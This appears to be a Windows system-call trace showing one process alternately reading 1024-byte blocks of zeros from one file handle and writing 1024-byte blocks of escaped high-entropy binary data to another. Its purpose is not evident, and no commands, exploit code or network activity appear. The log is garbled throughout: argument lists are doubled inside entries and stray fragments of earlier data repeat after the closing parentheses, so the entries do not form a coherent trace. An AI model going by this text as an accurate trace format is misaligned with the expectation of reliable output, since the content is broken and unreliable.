\236b\331:\331y\320\337\216JCE\321Y\245#<\355G\267\177\371\277\5\221\371#b\201\343\206\222\7\225Adr\301\271]r\344\331j\272(\7\34\253\372!\244Z*4]\247\323YX)!Ct>2k~\270\25\353W9\320oZ\20\353\337\301\273\312\6\365\207e\256\1\206%N\14\36&\11z|\}\375A&t/B\14\257\341\321Q[\355%\344\276]\241\235\353\352\346:\234\204,\272\313\1\233HL\214Z/\334e`,a*\213d\350\356\257P8c\221\222GW^\303\312}"\263Au\314\375&\227gAs0L\243\310\371\246\301Pc\214\303\3427Mbm"\30x\5V\205\2266\351\364\233\333h\33M:\371>\213\20\324c\25T\205\3\211\264#\353\302*\7\317E\371\307\244\0H,#038\21\252\33\15\5\202\302H\35\13\335\374\243Y\343B\300\4\334;\3153", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \30x\5V\205\2266\351\364\233\333h\33M:\371>\213\20\324c\25T\205\3\211\264#\353\302*\7\317E\371\307\244\0H,#038\21\252\33\15\5\202\302H\35\13\335\374\243Y\343B\300\4\334;\3153", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01454  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01455  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "o\277_\264\11T\255\330>\25|Jg!/(x\301\333\317\220\253\305L\300\252\303\265\4\316\263\203\231\355\177\241\204\305\20V\30\354\205(RCl/mj;{(\344\367y\373\266m\252\372\211\375\22\216\366{\253'\220\233yZq\300_\3058\361\277\317\375\315\201\16\305\\335M\233\242\244S]*\216\331\302\366\217S;\304\203W\272]O\1\257\320\330\274\351@\363\330\360\321\20\11\2627)\331\323\364\222\345\30\2210\215 \303-cj\333YH\306,\347SN\216Y\221\1kUI\334\7\31)s\216G\317t\15I\313wgf\264\354\236'\215[no\256|\222BW\301\351\207\300\241%\365\2w\201\20\227wC8\313\352v\33\216\341\326\201\302R\20\254\316h\14\250\265\336\265\10\3\324\204\344z6\322\234\273\242\236\253\26\337\24G\305Z\233\211\217\265\27H\35)sq\336\241\370\3556\223\251\376\366\10d?F\14\231;\343Az\343\3216IN&\24D\2725\257# 0\322\345\240\7yX\13\215:\3672\5\22\346\235\370H\332\367\375B\246\5a\252(\232\157kq#j\274\336\16\221\220\256$\352\236)\235\20.z,J4l2\322)\355\3\23215TV\347\0\277\0)\30k\207\257q\236+\347\311e\12\35\35\364\331\374\16\352\253\210\254\\315\352\217\37\265\15\3665\333\270\254o]W\260\215\227\3461p\353n\366\256T\303\250O\324\271\23\31\227k\225=\344\205\344p\210\217\212\203\263\203\35\354\10(\265\207\311\2103\210k]<\215tsb\243\205\304g\202\373\35\204\322\325\313\177\333\240\214\202\266\371\247\347\261\220rGh~F\262Z\325\322(y\14r\263\233\247\340\22f\317\234V\15\326\357Hr\330\3739\322\366l\343\177U\274\306\201u}A\323\24~i\201\327", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01456  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01457  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\247\210\206*\345\3639&MX\322\360\207\335=\337\223\322\213\210\32\335N\230\10\301XB\262\262\335m\2677X\353\366\201]\211\231o\255M\332Mc\372\65\362\333X\240\2\2760\306?\202p\376\224#\361Q%w \376P\357\36=\233\233\346\2342\335n\201\250,\307_\217\312\312\267ba\221w\377ZC\332\201\374t\357\1\272:\271[fq\200\237M\260\11k\337\255\331\264J\327\222\234\211\177\347\222\321)\303t\261E7\277\13K9\246\373\330 \241\341\330\276\322p\254)\375k\340\22\20)\243h\344/\221%\23\31\324\373\11\373\307\15,&\210\23}9B\204?\32t\12\235\255k\247\363\10~\222\321\321\340\317\7\373\357\351\253__\244I:\353\23\240\220\355\376F\342\257\\324\23W\306\6Xl\270c@\Q\20D\235\12}y\330\15\236\240\222=\326L\210\7\321\3I\301\201\300+\203\356e>\30\307\320\32Z0'\273\31\335\200f\264\26\2057\306\230l\213\215&\357\344i\0\273%.\241PpV\272\354;\242\12bU\355\225N\371!\310\331\266\307+\3407}\326\336SsHy\5\324}\245\356^\243\227\1\11i\35\3616\343\242S\277\235#\237\14\314\3654jy\255\212\262\254\372@\27l\224`z\12_\304:~\270b\2470 \320\231l\215\222\25\15\303\214\304u\223\331\266/\246\203\337\270\203[?I\252\274h\12\252\306\316i\25\20\0u\355,gi\_M\232\261'\371_\264 \347PS\232D\312\366\304\361\3Y\354\326\257\203BZ\353\11\3621\15\364\36\320\210\255X\7\253("\300E\243\235Dpx\277.\14\3318\36k\303\323U\351\274\243\265\244\307\11\14R\20#\7\7\321{", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \300E\243\235Dpx\277.\14\3318\36k\303\323U\351\274\243\265\244\307\11\14R\20#\7\7\321{", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01458  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01459  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\243\206\201 \124\237=aJ\247\31\364[\340\320OW>\311\232\365\272\375b\334\14\306\352M\254\326Zw<[`\305\206\333\312@\357\334\317\237\332kX\311\357MZ\364a\361\31\230\3570Z\250\275\276\267\20H\3542\30\36\266cq\334\22\250\31\7p\220E\353\202\352z\246\251\364F\302\220\246\362\314\250\334X\231:+\276\222\217\312;$R\241\12-\330\235\345\347\323\374\301\255]\236\10\360\207\341\336\31U1M.\2\265%\14CK\200\6\316\177\224\26\236\275s\223\302\23\361\214\206\303\326,{\265A\242 rq\177U\21\263\33($\347W^\317\240\17\0k\1'y\317 \343\325.\7l|\4\34\337\177\212=\245lm\246\177:\343\236\256(\341Ex\337?S/\10/\\304\311\203d3I\364\15k\300\243\21;\256h^\270\226\23\255:\257\374tM>\25\314\357\307w?\356\373\304\214\32\271s\224\325"\252Xd\276eJ\226ou[k\20\5`\203\232\254\377\315\265\256\3578>\343\345\222\300\266\313\223\325\213\6\307T\366T\206[942\253\373\315f\177\376.\201\312e\360y\257\26220\5`\203\232\254\377\315\265\256\3578>\343\345\222\300\266\313\223\325\213\6\307T\366T\206[942\253\373\315f\177\376.\201\312e\360y\257\262370 \360\366y-~\315\215^\366\317+\215\342\351\310\312\347\211\334\13Q\332\2300\244\33\347:7\367=\3406\374\347o\301e\302\255R\332\34\331\272\2052\354VO\276\343\33\240\z\363\224\10\316\267H\14\210\27\263?P\202;\305\314\214f\321j\213%\236+\363\361\212s2V\340\316\244Q$q\321\240\304\2730e\344\273\4\234\227\235\371{\317\370\267q\37u;\22\23\251\213\10\5\254\26`r\362\200q*\10\210\341'|\32\262Tl\254\232f\337 \352\232S\315\335\375\340\216\255\253's2\374\226'\1\2437\30L:n7\244\325\3162\336A.dHH\267", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01460  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01461  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "Vb\15X\365\316\201N\243\362\352f\24\340\335V\311\252\32 !\303\375\270k5\232t\235$\240\346\214n@0-6\203\214\0r&\2210\222\274f\362U7ti\223\0\25GA\340\177\355:wi0\171\237|Nr\30\17\365\255\267G\7\244\333\315\243\265N\347\244fu\376J\354\351;\224\231qI\354)\321\345\313\263wq%Z\119tn\270\325\367W4\202h(\313`\21\0\2577\203\14n\243\304\262\264\306\260H\267V\177\320\35\330c\276\225\362\3i\240+a\274\2D"\321\361C&\207c \335\356\311\324\245\237\357\37\240\274&\25R\264\2\310~\314Km2\336\317Y\260\24A\240\6Mq~\322\354\203i\15\373\31\273\11.\374\252^?!w\234T\27>h\307\226?\323D\13J\261s\333c\232[\232-'p\246og\30\307:7\0\12\10\232\304_\12\226\32f\302\267\16w\23\343j^\7\322p\201\37*3\14v1'\17\206\5\216f\324\373V\301\203\351\363\15\250\202\13\350s\37\2706\206\3~\227\7\216o\14\357\3239\365b\202:\307\275v'Mw\372\223;\336\33\350\360\300\0\375E\2356\323\363\357\224[50];\321\326z\246\247\230I1)\373d[)\12\5`t\326y\177X\362\345\213\204\257=n\343w\340\300\12\2234\270-\216\223\327\332\267A\0\17\225\177\314\206\363(\347k_1\347\14&\211\275\201v?\277A\307\341\352-\321m\14\257#qA\315\276ub\201\333\200x\355-\36\3201[\12~\335\251\323N\335\247\216\225h\241\3714]M\227Le\256\351\32{\207=\326\36J\361\241\34\261\220\340\36EB\371\332\230X6=\311V\25\307\302\234~\215\6`?\220z\13\252\335N?\3\177\345\256H\326\330\30\227\366\KD\351\323\373", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \321\361C&\207c \335\356\311\324\245\237\357\37\240\274&\25R\264\2\310~\314Km2\336\317Y\260\24A\240\6Mq~\322\354\203i\15\373\31\273\11.\374\252^?!w\234T\27>h\307\226?\323D\13J\261s\333c\232[\232-'p\246og\30\307:7\0\12\10\232\304_\12\226\32f\302\267\16w\23\343j^\7\322p\201\37*3\14v1'\17\206\5\216f\324\373V\301\203\351\363\15\250\202\13\350s\37\2706\206\3~\227\7\216o\14\357\3239\365b\202:\307\275v'Mw\372\223;\336\33\350\360\300\0\375E\2356\323\363\357\224[50];\321\326z\246\247\230I1)\373d[)\12\5`t\326y\177X\362\345\213\204\257=n\343w\340\300\12\2234\270-\216\223\327\332\267A\0\17\225\177\314\206\363(\347k_1\347\14&\211\275\201v?\277A\307\341\352-\321m\14\257#qA\315\276ub\201\333\200x\355-\36\3201[\12~\335\251\323N\335\247\216\225h\241\3714]M\227Le\256\351\32{\207=\326\36J\361\241\34\261\220\340\36EB\371\332\230X6=\311V\25\307\302\234~\215\6`?\220z\13\252\335N?\3\177\345\256H\326\330\30\227\366\KD\351\323\373", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01462  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01463  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\35\15a\311\205'\320\214,\21\247\272\271w\265\213\333c}.4f\362k\310c\17\7\374A\346\37\10O\234\260H\341y\15\226\335\337\370\255\10\360\216\262\333DQ\313\332K\337[\344W,\360+\213\253\306\375fO\217m\14rN\376:\225U\24\247V\373\257)l\203fM\310^-\266\355Y\215ge\226\24\332D\2\2\306hNg5\331\323XE\177\376Nmjn;\22\232p\222Z\207[\225*\304\210\177\354\331\335\3627\243\226\14\303\16/ c\16\302\23\272e\21*.\310k\237fM\2140\273\321\363\3532\21'\6\360\355\274\360\17\2255;%8\226\33L>\241\202\367\261\207\25\20\321\201\374\10\352\232\352Gq\254\317\37k 9#\322s\213M\205_,\330\246\314\345\240O\272\230\350j\347\243\217\327\244-h\3\237Po\32\255\250$\340\301\257=\354>7\226\6\14V\326\266\211s0/zg(s\235al\340\32\31$\325{.\177}\362\11f\327\372\331ARR\363\301\24\251\263\33\371\206\355\214@\215\363S\367:\321\332\364\303\224Q;(o\306\6\4O\262\334`IP\357\244\336\257$\204\235\37m\257\31q\231\362~HN\14\201\251Y\347\231t\316~\246\353kHV\302}\273\236Ou\277\336\3438\6\362\17\320\36\344n!\256\342Q\335\303\371-r\345\277\234\361\311\32\3501\7\374\264\370\315\274+\207k\355\277\310SX#\30o)\35\246`\305\325\347u\310\320\13^oz\37T\362\273.\36386\372\5*g\373H\306k\256\375.\273o\305Z\2q\305\317\375\13\223s5>9X\36\10\30\33Un\326\222_%q7\306\3"\311NR\273n\235\303\216\371+\336\306\364\336j\375K&\227\220\243\340/\324\275~\321\315\11\364\363\240\343\11\270\363G\302\356\330\10", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \311NR\273n\235\303\216\371+\336\306\364\336j\375K&\227\220\243\340/\324\275~\321\315\11\364\363\240\343\11\270\363G\302\356\330\10", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01464  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01465  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "O\357\314`\364\26p\356\2508\305\225\217\345\366*$l\247J\363\235\347\25\216\32HA.\317\5\247\244\31\301\32l\25\2507\240\240\256\2762\226\352\315\17\341%`\254`L\217\345\345\202\316W\315\220 Jo`\252\321D\27\323"8\221\340O@:"\252\342\32\203~\33\2624\273\12va_\317\366dB\244\\225\200\317\242\13\177b\201c\260Q+\254\373C\257jU\237e\367\222\370\3430\223\332)\36\237 w\251\304\341\304\361\3058\255\371\217\361\2445\3173\313\37\305\267\215\5\253\22(\11\321V\203&C\375\13\316D\274\352\20\16v\365\270\212\341\370q%<\342i}\320\334\261\24\307\204\6\314\276\2\230b\345\0>\177\16Nd\334\373\336_?\304\356\24\277\231^\261\256\376b\241$\262\200\217!\263j\5\345\324\204\311\305Ap\246-\255z\14r\274\317\265z\231@r\v\264\2057%\273d0Z!\327]\33#\226\2140\244\225\6\222\327\337z\302b\12\252\314t`\275\325dq]T\212\277\242\217\250\306\313\32\337\3161\11\214\357\0\330\32i8\225\336\0\211\235\310(\235\216\276\346\244\205q\26y\373\352\235\236\33\304=!\203\256.\307\204\337\261\3215\267o\334>U\227\301\345*gq\6\332\300Z\201\374y3I\333\301\227\313\241\17/\345?\360\243\204o\256\372%W\177\211'\304{\360\306"\225\179\230\253\377\357\211\340+\200/HO\336\371\366X\341,\367\32P\333\23a\16\246\24\275\270!h\35\7zbG\353\236\324X)\251\361\35.\273\270v\247\264\253L+\1/\236\34\24\336u\340$~\251\15\352\251\251\11[\267O6\240\23\222\223:\306\206\337b\243\257H'\356F\355c1\10\266\0\36$\214\25\345\273x^d\312\14'^\36474\313\14\335:b\277\232\214\370", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) 8\221\340O@: (92, 0, 0, 0, "O\357\314`\364\26p\356\2508\305\225\217\345\366*$l\247J\363\235\347\25\216\32HA.\317\5\247\244\31\301\32l\25\2507\240\240\256\2762\226\352\315\17\341%`\254`L\217\345\345\202\316W\315\220 Jo`\252\321D\27\323"8\221\340O@:"\252\342\32\203~\33\2624\273\12va_\317\366dB\244\\225\200\317\242\13\177b\201c\260Q+\254\373C\257jU\237e\367\222\370\3430\223\332)\36\237 w\251\304\341\304\361\3058\255\371\217\361\2445\3173\313\37\305\267\215\5\253\22(\11\321V\203&C\375\13\316D\274\352\20\16v\365\270\212\341\370q%<\342i}\320\334\261\24\307\204\6\314\276\2\230b\345\0>\177\16Nd\334\373\336_?\304\356\24\277\231^\261\256\376b\241$\262\200\217!\263j\5\345\324\204\311\305Ap\246-\255z\14r\274\317\265z\231@r\v\264\2057%\273d0Z!\327]\33#\226\2140\244\225\6\222\327\337z\302b\12\252\314t`\275\325dq]T\212\277\242\217\250\306\313\32\337\3161\11\214\357\0\330\32i8\225\336\0\211\235\310(\235\216\276\346\244\205q\26y\373\352\235\236\33\304=!\203\256.\307\204\337\261\3215\267o\334>U\227\301\345*gq\6\332\300Z\201\374y3I\333\301\227\313\241\17/\345?\360\243\204o\256\372%W\177\211'\304{\360\306"\225\179\230\253\377\357\211\340+\200/HO\336\371\366X\341,\367\32P\333\23a\16\246\24\275\270!h\35\7zbG\353\236\324X)\251\361\35.\273\270v\247\264\253L+\1/\236\34\24\336u\340$~\251\15\352\251\251\11[\267O6\240\23\222\223:\306\206\337b\243\257H'\356F\355c1\10\266\0\36$\214\25\345\273x^d\312\14'^\36474\313\14\335:b\277\232\214\370", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \225\179\230\253\377\357\211\340+\200/HO\336\371\366X\341,\367\32P\333\23a\16\246\24\275\270!h\35\7zbG\353\236\324X)\251\361\35.\273\270v\247\264\253L+\1/\236\34\24\336u\340$~\251\15\352\251\251\11[\267O6\240\23\222\223:\306\206\337b\243\257H'\356F\355c1\10\266\0\36$\214\25\345\273x^d\312\14'^\36474\313\14\335:b\277\232\214\370", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
